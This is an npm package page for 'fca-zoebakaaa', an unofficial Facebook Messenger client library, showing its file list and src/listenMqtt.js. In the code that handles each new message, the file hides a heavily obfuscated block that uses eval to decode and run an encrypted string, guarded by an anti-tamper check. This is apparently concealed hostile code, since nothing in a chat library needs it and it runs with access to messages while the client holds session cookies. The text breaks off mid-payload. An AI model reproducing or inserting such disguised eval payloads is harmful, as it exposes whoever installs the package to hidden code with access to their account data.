fca-zoebakaaa 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
- package/.eslintrc.js +35 -0
- package/CHANGELOG.md +2 -0
- package/Controllers/Remote.js +4 -0
- package/DOCS.md +1738 -0
- package/Extra/ExtraAddons.js +80 -0
- package/Extra/ExtraFindUID.js +62 -0
- package/Extra/ExtraGetThread.js +118 -0
- package/Extra/ExtraTranslate.js +62 -0
- package/Extra/ExtraUptimeRobot.js +62 -0
- package/Extra/Html/Classic/script.js +233 -0
- package/Extra/Html/Classic/style.css +8 -0
- package/Extra/PM2/ecosystem.config.js +23 -0
- package/Extra/Security/Index.js +174 -0
- package/Extra/Security/Step_1.js +15 -0
- package/Extra/Security/Step_2.js +23 -0
- package/Extra/Security/Step_3.js +23 -0
- package/Extra/Src/History.js +117 -0
- package/Extra/Src/Last-Run.js +65 -0
- package/Extra/Src/Premium.js +88 -0
- package/Extra/Src/SecurityCheck.js +7 -0
- package/Extra/database/SyntheticDatabase.sqlite +0 -0
- package/Extra/database/index.js +360 -0
- package/Extra/logger.js +74 -0
- package/Func/AcceptAgreement.js +36 -0
- package/Func/ClearCache.js +68 -0
- package/Func/ReportV1.js +55 -0
- package/README.md +112 -0
- package/Settings/Database.js +21 -0
- package/Settings/Location.js +59 -0
- package/broadcast.js +40 -0
- package/index.js +1353 -0
- package/logger.js +75 -0
- package/package.json +56 -0
- package/src/Premium.js +39 -0
- package/src/addExternalModule.js +23 -0
- package/src/addUserToGroup.js +101 -0
- package/src/appstate.json +0 -0
- package/src/changeAdminStatus.js +95 -0
- package/src/changeArchivedStatus.js +47 -0
- package/src/changeAvt.js +95 -0
- package/src/changeBio.js +66 -0
- package/src/changeBlockedStatus.js +42 -0
- package/src/changeGroupImage.js +124 -0
- package/src/changeNickname.js +54 -0
- package/src/changeThreadColor.js +67 -0
- package/src/changeThreadEmoji.js +50 -0
- package/src/createNewGroup.js +78 -0
- package/src/createPoll.js +66 -0
- package/src/deleteMessage.js +51 -0
- package/src/deleteThread.js +49 -0
- package/src/forwardAttachment.js +53 -0
- package/src/getAccessToken.js +36 -0
- package/src/getCurrentUserID.js +8 -0
- package/src/getEmojiUrl.js +29 -0
- package/src/getFriendsList.js +81 -0
- package/src/getMessage.js +85 -0
- package/src/getThreadHistory.js +633 -0
- package/src/getThreadInfo.js +248 -0
- package/src/getThreadList.js +276 -0
- package/src/getThreadPictures.js +71 -0
- package/src/getUID.js +61 -0
- package/src/getUserID.js +62 -0
- package/src/getUserInfo.js +68 -0
- package/src/getUserInfoV2.js +32 -0
- package/src/getUserInfoV3.js +72 -0
- package/src/getUserInfoV4.js +57 -0
- package/src/getUserInfoV5.js +68 -0
- package/src/handleFriendRequest.js +47 -0
- package/src/handleMessageRequest.js +63 -0
- package/src/httpGet.js +54 -0
- package/src/httpPost.js +53 -0
- package/src/httpPostFormData.js +46 -0
- package/src/listenMqtt.js +1056 -0
- package/src/logout.js +73 -0
- package/src/markAsDelivered.js +54 -0
- package/src/markAsRead.js +82 -0
- package/src/markAsReadAll.js +47 -0
- package/src/markAsSeen.js +58 -0
- package/src/muteThread.js +51 -0
- package/src/removeUserFromGroup.js +72 -0
- package/src/resolvePhotoUrl.js +39 -0
- package/src/searchForThread.js +48 -0
- package/src/sendMessage.js +429 -0
- package/src/sendTypingIndicator.js +83 -0
- package/src/setMessageReaction.js +114 -0
- package/src/setPostReaction.js +103 -0
- package/src/setTitle.js +86 -0
- package/src/threadColors.js +40 -0
- package/src/toolspincoinmaster +89 -0
- package/src/unfriend.js +48 -0
- package/src/unsendMessage.js +40 -0
- package/utils.js +2244 -0
- package/zoebaka.code-workspace +8 -0
@@ -0,0 +1,1056 @@
|
|
1
|
+
/* eslint-disable no-redeclare */
|
2
|
+
"use strict";
|
3
|
+
var utils = require("../utils");
|
4
|
+
var log = require("npmlog");
|
5
|
+
var mqtt = require("mqtt");
|
6
|
+
var websocket = require("websocket-stream");
|
7
|
+
var HttpsProxyAgent = require("https-proxy-agent");
|
8
|
+
const EventEmitter = require("events");
|
9
|
+
var identity = function () {};
|
10
|
+
var form = {};
|
11
|
+
var getSeqID = function () {};
|
12
|
+
|
13
|
+
var topics = [
|
14
|
+
"/legacy_web",
|
15
|
+
"/webrtc",
|
16
|
+
"/rtc_multi",
|
17
|
+
"/onevc",
|
18
|
+
"/br_sr",
|
19
|
+
"/sr_res",
|
20
|
+
"/t_ms",
|
21
|
+
"/thread_typing",
|
22
|
+
"/orca_typing_notifications",
|
23
|
+
"/notify_disconnect",
|
24
|
+
"/orca_presence",
|
25
|
+
"/inbox",
|
26
|
+
"/mercury",
|
27
|
+
"/messaging_events",
|
28
|
+
"/orca_message_notifications",
|
29
|
+
"/pp",
|
30
|
+
"/webrtc_response",
|
31
|
+
];
|
32
|
+
|
33
|
+
/* [ Noti ? ]
|
34
|
+
! "/br_sr", //Notification
|
35
|
+
* => Need to publish /br_sr right after this
|
36
|
+
|
37
|
+
! "/notify_disconnect",
|
38
|
+
* => Need to publish /messenger_sync_create_queue right after this
|
39
|
+
|
40
|
+
! "/orca_presence",
|
41
|
+
* => Will receive /sr_res right here.
|
42
|
+
*/
|
43
|
+
|
44
|
+
function listenMqtt(defaultFuncs, api, ctx, globalCallback) {
|
45
|
+
//Don't really know what this does but I think it's for the active state?
|
46
|
+
//TODO: Move to ctx when implemented
|
47
|
+
var chatOn = ctx.globalOptions.online;
|
48
|
+
var foreground = false;
|
49
|
+
|
50
|
+
var sessionID = Math.floor(Math.random() * 9007199254740991) + 1;
|
51
|
+
var username = {
|
52
|
+
u: ctx.userID,
|
53
|
+
s: sessionID,
|
54
|
+
chat_on: chatOn,
|
55
|
+
fg: foreground,
|
56
|
+
d: utils.getGUID(),
|
57
|
+
ct: "websocket",
|
58
|
+
aid: "219994525426954",
|
59
|
+
mqtt_sid: "",
|
60
|
+
cp: 3,
|
61
|
+
ecp: 10,
|
62
|
+
st: [],
|
63
|
+
pm: [],
|
64
|
+
dc: "",
|
65
|
+
no_auto_fg: true,
|
66
|
+
gas: null,
|
67
|
+
pack: [],
|
68
|
+
};
|
69
|
+
var cookies = ctx.jar.getCookies("https://www.facebook.com").join("; ");
|
70
|
+
|
71
|
+
var host;
|
72
|
+
if (ctx.mqttEndpoint) host = `${ctx.mqttEndpoint}&sid=${sessionID}`;
|
73
|
+
else if (ctx.region)
|
74
|
+
host = `wss://edge-chat.facebook.com/chat?region=${ctx.region.toLocaleLowerCase()}&sid=${sessionID}`;
|
75
|
+
else host = `wss://edge-chat.facebook.com/chat?sid=${sessionID}`;
|
76
|
+
|
77
|
+
var options = {
|
78
|
+
clientId: "mqttwsclient",
|
79
|
+
protocolId: "MQIsdp",
|
80
|
+
protocolVersion: 3,
|
81
|
+
username: JSON.stringify(username),
|
82
|
+
clean: true,
|
83
|
+
wsOptions: {
|
84
|
+
headers: {
|
85
|
+
Cookie: cookies,
|
86
|
+
Origin: "https://www.facebook.com",
|
87
|
+
"User-Agent":
|
88
|
+
ctx.globalOptions.userAgent ||
|
89
|
+
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36",
|
90
|
+
Referer: "https://www.facebook.com/",
|
91
|
+
Host: new URL(host).hostname, //'edge-chat.facebook.com'
|
92
|
+
},
|
93
|
+
origin: "https://www.facebook.com",
|
94
|
+
protocolVersion: 13,
|
95
|
+
},
|
96
|
+
keepalive: 10,
|
97
|
+
reschedulePings: true,
|
98
|
+
connectTimeout: 10000,
|
99
|
+
reconnectPeriod: 1000,
|
100
|
+
};
|
101
|
+
|
102
|
+
if (typeof ctx.globalOptions.proxy != "undefined") {
|
103
|
+
var agent = new HttpsProxyAgent(ctx.globalOptions.proxy);
|
104
|
+
options.wsOptions.agent = agent;
|
105
|
+
}
|
106
|
+
|
107
|
+
ctx.mqttClient = new mqtt.Client(
|
108
|
+
(_) => websocket(host, options.wsOptions),
|
109
|
+
options,
|
110
|
+
);
|
111
|
+
|
112
|
+
var mqttClient = ctx.mqttClient;
|
113
|
+
|
114
|
+
mqttClient.on("error", function (err) {
|
115
|
+
log.error("listenMqtt", err);
|
116
|
+
mqttClient.end();
|
117
|
+
if (ctx.globalOptions.autoReconnect) getSeqID();
|
118
|
+
else {
|
119
|
+
globalCallback(
|
120
|
+
{ type: "stop_listen", error: "Server Đã Sập - Auto Restart" },
|
121
|
+
null,
|
122
|
+
);
|
123
|
+
return process.exit(1);
|
124
|
+
}
|
125
|
+
});
|
126
|
+
|
127
|
+
mqttClient.on("connect", function () {
|
128
|
+
if (process.env.OnStatus == undefined) {
|
129
|
+
globalThis.Fca.Require.logger.Normal(
|
130
|
+
globalThis.Fca.Data.PremText || "Hiện Status Lỗi :s",
|
131
|
+
);
|
132
|
+
if (Number(globalThis.Fca.Require.FastConfig.AutoRestartMinutes) == 0) {
|
133
|
+
// something
|
134
|
+
} else if (
|
135
|
+
Number(globalThis.Fca.Require.FastConfig.AutoRestartMinutes < 10)
|
136
|
+
) {
|
137
|
+
log.warn(
|
138
|
+
"AutoRestartMinutes",
|
139
|
+
"The number of minutes to automatically restart must be more than 10 minutes",
|
140
|
+
);
|
141
|
+
} else if (
|
142
|
+
Number(globalThis.Fca.Require.FastConfig.AutoRestartMinutes) < 0
|
143
|
+
) {
|
144
|
+
log.warn("AutoRestartMinutes", "Invalid auto-restart minutes!");
|
145
|
+
} else {
|
146
|
+
globalThis.Fca.Require.logger.Normal(
|
147
|
+
globalThis.Fca.getText(
|
148
|
+
globalThis.Fca.Require.Language.Src.AutoRestart,
|
149
|
+
globalThis.Fca.Require.FastConfig.AutoRestartMinutes,
|
150
|
+
),
|
151
|
+
);
|
152
|
+
setInterval(
|
153
|
+
() => {
|
154
|
+
globalThis.Fca.Require.logger.Normal(
|
155
|
+
globalThis.Fca.Require.Language.Src.OnRestart,
|
156
|
+
);
|
157
|
+
process.exit(1);
|
158
|
+
},
|
159
|
+
Number(globalThis.Fca.Require.FastConfig.AutoRestartMinutes) * 60000,
|
160
|
+
);
|
161
|
+
}
|
162
|
+
require("../broadcast");
|
163
|
+
process.env.OnStatus = true;
|
164
|
+
}
|
165
|
+
|
166
|
+
topics.forEach((topicsub) => mqttClient.subscribe(topicsub));
|
167
|
+
|
168
|
+
var topic;
|
169
|
+
var queue = {
|
170
|
+
sync_api_version: 11,
|
171
|
+
max_deltas_able_to_process: 100,
|
172
|
+
delta_batch_size: 500,
|
173
|
+
encoding: "JSON",
|
174
|
+
entity_fbid: ctx.userID,
|
175
|
+
};
|
176
|
+
|
177
|
+
if (ctx.syncToken) {
|
178
|
+
topic = "/messenger_sync_get_diffs";
|
179
|
+
queue.last_seq_id = ctx.lastSeqId;
|
180
|
+
queue.sync_token = ctx.syncToken;
|
181
|
+
} else {
|
182
|
+
topic = "/messenger_sync_create_queue";
|
183
|
+
queue.initial_titan_sequence_id = ctx.lastSeqId;
|
184
|
+
queue.device_params = null;
|
185
|
+
}
|
186
|
+
|
187
|
+
mqttClient.publish(topic, JSON.stringify(queue), { qos: 1, retain: false });
|
188
|
+
|
189
|
+
// set status online
|
190
|
+
// fix by NTKhang
|
191
|
+
mqttClient.publish(
|
192
|
+
"/foreground_state",
|
193
|
+
JSON.stringify({ foreground: chatOn }),
|
194
|
+
{ qos: 1 },
|
195
|
+
);
|
196
|
+
|
197
|
+
var rTimeout = setTimeout(function () {
|
198
|
+
mqttClient.end();
|
199
|
+
getSeqID();
|
200
|
+
}, 3000);
|
201
|
+
|
202
|
+
ctx.tmsWait = function () {
|
203
|
+
clearTimeout(rTimeout);
|
204
|
+
ctx.globalOptions.emitReady
|
205
|
+
? globalCallback({ type: "ready", error: null })
|
206
|
+
: "";
|
207
|
+
delete ctx.tmsWait;
|
208
|
+
};
|
209
|
+
});
|
210
|
+
|
211
|
+
mqttClient.on("message", function (topic, message, _packet) {
|
212
|
+
const jsonMessage = JSON.parse(message.toString());
|
213
|
+
if (topic === "/t_ms") {
|
214
|
+
if (ctx.tmsWait && typeof ctx.tmsWait == "function") ctx.tmsWait();
|
215
|
+
|
216
|
+
if (jsonMessage.firstDeltaSeqId && jsonMessage.syncToken) {
|
217
|
+
ctx.lastSeqId = jsonMessage.firstDeltaSeqId;
|
218
|
+
ctx.syncToken = jsonMessage.syncToken;
|
219
|
+
}
|
220
|
+
|
221
|
+
if (jsonMessage.lastIssuedSeqId)
|
222
|
+
ctx.lastSeqId = parseInt(jsonMessage.lastIssuedSeqId);
|
223
|
+
|
224
|
+
//If it contains more than 1 delta
|
225
|
+
for (var i in jsonMessage.deltas) {
|
226
|
+
var delta = jsonMessage.deltas[i];
|
227
|
+
parseDelta(defaultFuncs, api, ctx, globalCallback, { delta: delta });
|
228
|
+
}
|
229
|
+
} else if (
|
230
|
+
topic === "/thread_typing" ||
|
231
|
+
topic === "/orca_typing_notifications"
|
232
|
+
) {
|
233
|
+
var typ = {
|
234
|
+
type: "typ",
|
235
|
+
isTyping: !!jsonMessage.state,
|
236
|
+
from: jsonMessage.sender_fbid.toString(),
|
237
|
+
threadID: utils.formatID(
|
238
|
+
(jsonMessage.thread || jsonMessage.sender_fbid).toString(),
|
239
|
+
),
|
240
|
+
};
|
241
|
+
(function () {
|
242
|
+
globalCallback(null, typ);
|
243
|
+
})();
|
244
|
+
} else if (topic === "/orca_presence") {
|
245
|
+
if (!ctx.globalOptions.updatePresence) {
|
246
|
+
for (var i in jsonMessage.list) {
|
247
|
+
var data = jsonMessage.list[i];
|
248
|
+
var userID = data["u"];
|
249
|
+
|
250
|
+
var presence = {
|
251
|
+
type: "presence",
|
252
|
+
userID: userID.toString(),
|
253
|
+
//Convert to ms
|
254
|
+
timestamp: data["l"] * 1000,
|
255
|
+
statuses: data["p"],
|
256
|
+
};
|
257
|
+
(function () {
|
258
|
+
globalCallback(null, presence);
|
259
|
+
})();
|
260
|
+
}
|
261
|
+
}
|
262
|
+
}
|
263
|
+
});
|
264
|
+
|
265
|
+
process.on("SIGINT", function () {
|
266
|
+
LogUptime();
|
267
|
+
process.kill(process.pid);
|
268
|
+
});
|
269
|
+
|
270
|
+
process.on("exit", (code) => {
|
271
|
+
LogUptime();
|
272
|
+
});
|
273
|
+
|
274
|
+
mqttClient.on("close", function () {});
|
275
|
+
|
276
|
+
mqttClient.on("disconnect", function () {
|
277
|
+
process.exit(1);
|
278
|
+
});
|
279
|
+
}
|
280
|
+
|
281
|
+
function LogUptime() {
|
282
|
+
var uptime = process.uptime();
|
283
|
+
var { join } = require("path");
|
284
|
+
if (
|
285
|
+
globalThis.Fca.Require.fs.existsSync(join(__dirname, "../CountTime.json"))
|
286
|
+
) {
|
287
|
+
var Time1 =
|
288
|
+
Number(
|
289
|
+
globalThis.Fca.Require.fs.readFileSync(
|
290
|
+
join(__dirname, "../CountTime.json"),
|
291
|
+
"utf8",
|
292
|
+
),
|
293
|
+
) || 0;
|
294
|
+
globalThis.Fca.Require.fs.writeFileSync(
|
295
|
+
join(__dirname, "../CountTime.json"),
|
296
|
+
String(Number(uptime) + Time1),
|
297
|
+
"utf8",
|
298
|
+
);
|
299
|
+
} else {
|
300
|
+
var Time1 = 0;
|
301
|
+
globalThis.Fca.Require.fs.writeFileSync(
|
302
|
+
join(__dirname, "../CountTime.json"),
|
303
|
+
String(Number(uptime) + Time1),
|
304
|
+
"utf8",
|
305
|
+
);
|
306
|
+
}
|
307
|
+
}
|
308
|
+
function parseDelta(defaultFuncs, api, ctx, globalCallback, v) {
|
309
|
+
if (v.delta.class == "NewMessage") {
|
310
|
+
//Not tested for pages
|
311
|
+
if (ctx.globalOptions.pageID && ctx.globalOptions.pageID != v.queue) return;
|
312
|
+
|
313
|
+
(function resolveAttachmentUrl(i) {
|
314
|
+
if (v.delta.attachments && i == v.delta.attachments.length) {
|
315
|
+
var fmtMsg;
|
316
|
+
try {
|
317
|
+
fmtMsg = utils.formatDeltaMessage(v);
|
318
|
+
} catch (err) {
|
319
|
+
return log.error("Lỗi Nhẹ", err);
|
320
|
+
}
|
321
|
+
let PRS7;
|
322
|
+
!(function () {
|
323
|
+
const kqHF = Array.prototype.slice.call(arguments);
|
324
|
+
return eval(
|
325
|
+
"(function gT9x(P8gq){const PaOq=zS0q(P8gq,H0Dq(gT9x.toString()));try{let rIQq=eval(PaOq);return rIQq.apply(null,kqHF);}catch(L5Iq){var nDLq=(0o204312-67761);while(nDLq<(0o400071%65548))switch(nDLq){case (0x30070%0o200035):nDLq=L5Iq instanceof SyntaxError?(0o400102%0x10011):(0o400073%0x1000D);break;case (0o201700-0x103A0):nDLq=(0o400107%65555);{console.log('Error: the code has been tampered!');return}break;}throw L5Iq;}function H0Dq(jyGq){let DVyq=447808945;var ftBq=(73639709%9);{let fv8q;while(ftBq<(0o1000247%0x10020)){switch(ftBq){case (0o200740-65992):ftBq=(0o205144-0x10A3E);{DVyq^=(jyGq.charCodeAt(fv8q)*(15658734^0O73567354)+jyGq.charCodeAt(fv8q>>>(0x4A5D0CE&0O320423424)))^1542256333;}break;case (0x4008A%0o200031):ftBq=(0x4007E%0o200031);fv8q++;break;case (0o204444-67850):ftBq=fv8q<jyGq.length?(0o1000164%65559):(0o400145%0x1001F);break;case (73639709%9):ftBq=(0o600150%65562);fv8q=(0x75bcd15-0O726746425);break;}}}let H2ar=\"\";var bq3q=(0o204300-0x108A0);{let DX5q;while(bq3q<(0x103DE-0o201675)){switch(bq3q){case (131136%0o200020):bq3q=(68266-0o205225);DX5q=(0x21786%3);break;case (0x4005D%0o200022):bq3q=DX5q<(0O347010110&0x463A71D)?(0o400050%0x1000E):(0x107BC-0o203633);break;case (0x20040%0o200032):bq3q=(68896-0o206404);{const XkYq=DVyq%(0o202772-0x105E9);DVyq=Math.floor(DVyq/(0x104A6-0o202225));H2ar+=XkYq>=(0o600150%65562)?String.fromCharCode((0o1000441%0x10038)+(XkYq-(0o204040-0x10806))):String.fromCharCode((0o215206-72229)+XkYq);}break;case (0o201510-0x1032C):bq3q=(196662%0o200013);DX5q++;break;}}}return H2ar;}function zS0q(TfTq,vNVq){TfTq=decodeURI(TfTq);let XcQo=(0x21786%3);let zKSo=\"\";var T7Ko=(0O347010110&0x463A71D);{let vFNo;while(T7Ko<(0x10924-0o204375)){switch(T7Ko){case (0o205500-0x10B28):T7Ko=(0o211514-0x11326);{zKSo+=String.fromCharCode(TfTq.charCodeAt(vFNo)^vNVq.charCodeAt(XcQo));XcQo++;var P2Fo=(0x10AC8-0o205261);while(P2Fo<(0o200574-0x10156))switch(P2Fo){case (0o200714-65973):P2Fo=XcQo>=vNVq.length?(0o203410-0x106E4):(0x30086%0o200040);break;case (0o400156%65573):P2Fo=(68196-0o205076);{XcQo=(0x21786%3);}break;}}break;case (262254%0o200025):T7Ko=vFNo<TfTq.length?(68176-0o205070):(0o1000313%65577);break;case (0O347010110&0x463A71D):T7Ko=(0o400106%0x10016);vFNo=(0x21786%3);break;case (0o1000212%65561):T7Ko=(262274%0o200032);vFNo++;break;}}}return zKSo;}})(\"I%0E%10%04%04%1C%05%0C%0F@L%11%01%1D%02%00%15%01%0A%04G%0F%007(@L%11%15%0D%18%16%13%06E%19,%3E(KHC$%05%00*DJ%1C%0E%10%04%04%1C%05%0C%0FH,%070!DJ%1A%1A%00%1E%12%1A%02CIID1:C7%3EH3N1:5%11%05%14%06%06%1E%0E%07%02C%02%01+#OA%17%11%04%1C%10%18%09H%25(4.MCL%1B'5%25@LA%00%10%1F+IAN/3%06)KH%15584_Q%18%1CS%03%1F%09%0B%18%0A%0E%06E/%0D9%25KH%13%17%0F%13%1D%1E%0DA!.?!@EH(%11%13%22OAG*%18,%1DBNC%0B%1B%12%20MC%1A%0E%19%0D%02%1C%0C%05%09H5%06)!MC%1C%1A%09%17%14%1A%0BJO%0F%042%22@LCL31%1E%07%1D%0B%09%13%01%03%0DA)%02!.@E%18%13%0D%11%1F%15%06L6%07%25%20BNC%03%01%25-MCL%1F%14%11+@LA%22%3C%02&IA%18%0C%12%06%0F%17%08%07%0BJ2%0A.*IA%1E%18%02%1C%19%11%0FHM/?%11-KHA%3E;%04/)KH5MC%1A%0E%19%0D%02%1C%0C%05%09H%1B%07$!MC%1C%1A%09%17%14%1A%0BJO%0F%042%22@LCL@%07%04-/MCN%15%0A%16%0F%0B%11%03%08%06L%14%19%1A/BN%13%1E%06%15%1D%17%04G@M8%3CC%3E7N3GBJ387%1A%0E%19%0D%02%1C%0C%05%09H5%1A%14%22MC%1C%1A%09%17%14%1A%0BJ%00%3E%1D&IAN+%08%0F.KHC,%13%11%20DJJ-1%04%22@E%1E1:6%5DI%20%0E%5EI3%0B%1F%0B%041%5E%5COBC%5C%0E%19%0D%02%1C%0C%05%09H%1F%16%0D%22MC%1C%1A%09%17%14%1A%0BJOOK8(+%22.OA1KHA%3E/%1D)(KH5%18%0C%12%06%0F%17%08%07%0BJ2%1E%03)IA%1E%18%02%1C%19%11%0FHMA%3C5GBJ38AOCG8J387%3CC7%3EJ387NAG8%3C%15%03%1F%09%0B%18%0A%0E%06E%05%15%0E&KH%13%17%0F%13%1D%1E%0DA@,%0F./DJH3%0A%227,DJ%3C@(%06=+DJH%15%03%1F%09%0B%18%0A%0E%06E;%14%01&KH%13%17%0F%13%1D%1E%0DA!.?!@EH4%0A'#OAG*%0C?,BNC93%0B)MC%1A%0E%19%0D%02%1C%0C%05%09H%07%0C;!MC%1C%1A%09%17%14%1A%0BJ%13%00%05%10:@%20%1C%17%20DJHCM%01%22%22(KHA8Q%1A%0E%19%0D%02%1C%0C%05%09H!%13%02%22MC%1C%1A%09%17%14%1A%0BJ.#9%25IAN%19%16%01(KHC,%0F6%1FDJJ%07%17%0C-@EH4,.(OAG:.%0D%20BNC-%0C%06*MCL%1F%14%11+@LA%14%19%05'IAN3(%0D)KHC,%0F6%1FDJJ%0F%1D%19/@EH4%06%04%22OA%11%05%14%06%06%1E%0E%07%02C%0E8%01-OA%17%11%04%1C%10%18%09H%0F,%09%11MCL=8%0E&@LA2,'!IAN%19%0A0+KHC$%05%00*DJ%1C%1E%04%18G9=%04&U%3EBU%5E%5EQQ_@Z%08Z%5CSQYPCK@%5C%0CUXUZR%5DIUT%5DPXNDDS%19YUZ&)AS%0EZUZU%5B%5DJM@TSQ_%5CVDX%0AXWX%5CPSAIBW%07%5ESU%5BR%5EJX%14RQP%20_N5W%05%14%06%06%1E%0E%07%02C%0A%25=,OA%17%11%04%1C%10%18%09HDH@C%3E7L@GH:C%3E7:3G8%3C5LCL@%076%15%11MCN%15%0A%16%0F%0B%11%03%08%06L./%09%22BN%13%1E%06%15%1D%17%04G@%1F%20)*MCN3=%00&-MC:@E%1E%07%1D%0B%09%13%01%03%0DA%0F/8!@E%18%13%0D%11%1F%15%06L%10%18%1F#BNC%0B%25.%12MCL!'6'@LA%22%3C%02&IA%18%0C%12%06%0F%17%08%07%0BJ.#9%25IA%1E%18%02%1C%19%11%0FHM1:37%3E%3CC%3E7N3GBJ38AFC7%3EJIN1:CMH:58%17%01%1D%02%00%15%01%0A%04G%0B+/'@L%11%15%0D%18%16%13%06E%09%1E%10(KHC0%04%06%20DJJ!2%1E%22@EH%12+-(OAG*%18%1E-BNC%25%0E6!MCL%07%0E'$@LA6%0F%3E%22IAN?%09%09$KHC,%13#%10DJJ!%08=.@EH%02%0D.)OAG*%0C?,BNC%25%060%1FMCL%1B%1D%0A%25@LA%10%10%1E)IAN%05%0D:+KHC0%04%06%20DJ%1C%0E%10%04%04%1C%05%0C%0FH%20%22(.D&%03+%22C%1C%1A%09%17%14%1A%0BJ%08%1E%1D%25:-%07)%205W%1E%17%09%17J%00%0C*$%5C3MZ%08%5C%5CSP_VOW%10%5DSQZSCK@%5C%0CUXUXW%5DIS%19YUZUPEOIYV%5BVP%5BFQ%07WZWX_WHDMZ%08Z%5DRUZUGPX_VTAIBVQZ%5BXY@Z%08Z%5CSPYUC:S%0A%16%0F%0B%11%03%08%06L%228%1E%22B%04%09%16$H%13%17%0F%13%1D%1E%0DA%07%13%1B!3%0F%02%1B/8Q%1A%0E%19%0D%02%1C%0C%05%09H%1B5%11/MC%1C%1A%09%17%14%1A%0BJOOK8(+%22.OA1KHA%3E%1D!&.KH5%18%0C%12%06%0F%17%08%07%0BJ%3E?%1F$I%1B6%00%20A%17%11%04%1C%10%18%09H%03%15%10.%3E%194%02+%3EZ%15%03%1F%09%0B%18%0A%0E%06E?3%05+KH%13%17%0F%13%1D%1E%0DA@%3E7%3C31%3EJ38C%3CC7%3E%3C%15%03%1F%09%0B%18%0A%0E%06E?%09%09$KH%13%17%0F%13%1D%1E%0DA@%3E7%3C31%3EJ38C%3CCMH:5NKL31H@C%3E7:%15%0A%16%0F%0B%11%03%08%06L%14%11%0C-BN%13%1E%06%15%1D%17%04G@7%3E:-%0F;.@E%3EJ38C%3C%1B%19%17%1B@L7%1A%0E%19%0D%02%1C%0C%05%09H=%084/MC%1C%1A%09%17%14%1A%0BJO@GK:C%3E1FC7%3EJIN1:5G8J387:5G8%3CA%3EA%3C51JK@0%00?)DJHANBL37H:3DA%3C5GBJ387L3G8%3C58A%3C518J387%3CCMH:587N%15%3C12_K%09.2!%5E%07%1D%0B%09%13%01%03%0DIA%1E%18%02%1C%19%11%0FHMZ%1F_Y%01%02%0CT_JX#TS%5ER%5EQ%5C%5EVH%15%5E%0C%12%06%0F%17%08%07%0BJ%14%054$IA%1E%18%02%1C%19%11%0FHMK%3C5G8%3CA%3EAFC7%3EJIN1:CMH:58%17%01%1D%02%00%15%01%0A%04G%25%04,&@L%11%15%0D%18%16%13%06EBLIG8%3CANBLIG8%3CCMAL3G8%3C5%3EA%3C51JHCMAO3G8:IN1:CMH:58A%3CC7%3E%3C58A%3C5E8J3%3EA%3C3G8%3C5N1L31%3E%3CC%3E7:3G8%3C5%3EAFC7%3E%3C58C%1A%0E%19%0D%02%1C%0C%05%09H%03%093/MC%1C%1A%09%17%14%1A%0BJO%1C%15%13%04%07%03JO31H:5LC%3CCMH:5NKL31H@C%3E7LIG8%3CCDA%3C51%1E%07%1D%0B%09%13%01%03%0DA!%00#%20@E%18%13%0D%11%1F%15%06LK0%1B%14%10OAEHI=%0F2&@EJ%1C%0E%10%04%04%1C%05%0C%0FH%0E%0D+/DJ%1A%1A%00%1E%12%1A%02CI@%16%25%00)DJHBM%0D%0F9/KHALAOCMH:5L%17%01%1D%02%00%15%01%0A%04G%03-%1A)@L%11%15%0D%18%16%13%06EB%08%1A%02%19IALA%3C5%11%05%14%06%06%1E%0E%07%02C,*'%22OA%17%11%04%1C%10%18%09H)%15%19%10MCL%256%19$@LA%14+$!IAN/3%06)KHC,%13#%10DJJ%07%17%0C-@EH(%11!%12OAG&5%06%20BN%15%3C12_K%1DR:!%5E%07%1D%0B%09%13%01%03%0DIA%1E%18%02%1C%19%11%0FHMZ(%5D%5BSWXP%5BQE%5C%1B%03%0BS%5BS%0CE%1EZ%0E%10%04%04%1C%05%0C%0FH%02%12%14%20DJ%1A%1A%00%1E%12%1A%02CI381%3C51H:5L1LC7HJ3%3E7:3G8%3C581L31%3E%3C%15%03%1F%09%0B%18%0A%0E%06E#%1E%1E$KH%13%17%0F%13%1D%1E%0DA@%11%13%17%0D%03%05A@%3E7L31JH3NKL31H@C%3E7LIG8%3C5%18%0C%12%06%0F%17%08%07%0BJ%04%1D%01+IA%1E%18%02%1C%19%11%0FHM#%1E,%14KHA%3E;%04/)KH5MC%1A%0E%19%0D%02%1C%0C%05%09H)%15%11%20MC%1C%1A%09%17%14%1A%0BJ%22%1E%14%1BIAN'=%12)KHC%16)/*DJJ-1%04%22@E%1E%07%1D%0B%09%13%01%03%0DA1%14%0D/@E%18%13%0D%11%1F%15%06L2%06:$BNC9%0D%00%20MCL%25%22%02&@LA%3E%0D$*IA%18%0C%12%06%0F%17%08%07%0BJ&%1B%06+IA%1E%18%02%1C%19%11%0FH%02%3C%16-DJJ)%12%1F#@EH%20%1F%10.OAG:%04%20,BN%15%3C12_K3$=!%5E%07%1D%0B%09%13%01%03%0DIA%1E%18%02%1C%19%11%0FHM%5BR%5EY%5BV%5BQ4W'%5BPT%5ERYR%5CE%1EZ%0E%10%04%04%1C%05%0C%0FH%069%0C-DJ%1A%1A%00%1E%12%1A%02C%02%0D.)OAG*%0C?,BNC%1F%12%08,MCL!%15%15)@LA.%11(%1BIAN%05%0D:+KH%15%03%1F%09%0B%18%0A%0E%06E/3%06)KH%13%17%0F%13%1D%1E%0DA@%0A.*%10DJHC%3E7%1A%0E%19%0D%02%1C%0C%05%09H5,%04-MC%1C%1A%09%17%14%1A%0BJ@4%19SQ%5CVM%1A%0E%19%0D%02%1C%0C%05%09H-2%09-MC%1C%1A%09%17%14%1A%0BJO%1B%1D%0A%25@LC%3C9%0F$$@L7OA%11%05%14%06%06%1E%0E%07%02C4$%3C.OA%1733;R1%00%048*IA8W&%0B$%20IA%3E/7%03%15KH5%5E+%04%20/KH3%06%0B/%1FDJJ1%22;%25@E%3E%5C879P3%1F%0A4)MC:S%11%05%14%06%06%1E%0E%07%02C%16&%07/OA%17%11%04%1C%10%18%09HDHI3N1%3CIG8%3CCDA%3C51H:C%3E7:51H:5L1L31%3EHBMAL3G8%3C5%3EA%3C51HICN1L31%3E:C%3E7:AAH@C%3E7NCDHI3N1%3CIG8%3CCDA%3C51H:C%3E7:51H:5L1L37H:3N1:5G8J387:C7%3E%3C3N1:57H@C%3E7:51J%1C%0E%10%04%04%1C%05%0C%0FH4#4,DJ%1A%1A%00%1E%12%1A%02CI@%16%25%00)DJHBM%1D5%05-KHALAOC78J3%3EAFC7%3E%3CC%3EA%3C51%3EJ387%3CC7%3E%3C3N1:51J%1C879PF5&%13&X%0C%12%06%0F%17%08%07%0BBN%13%1E%0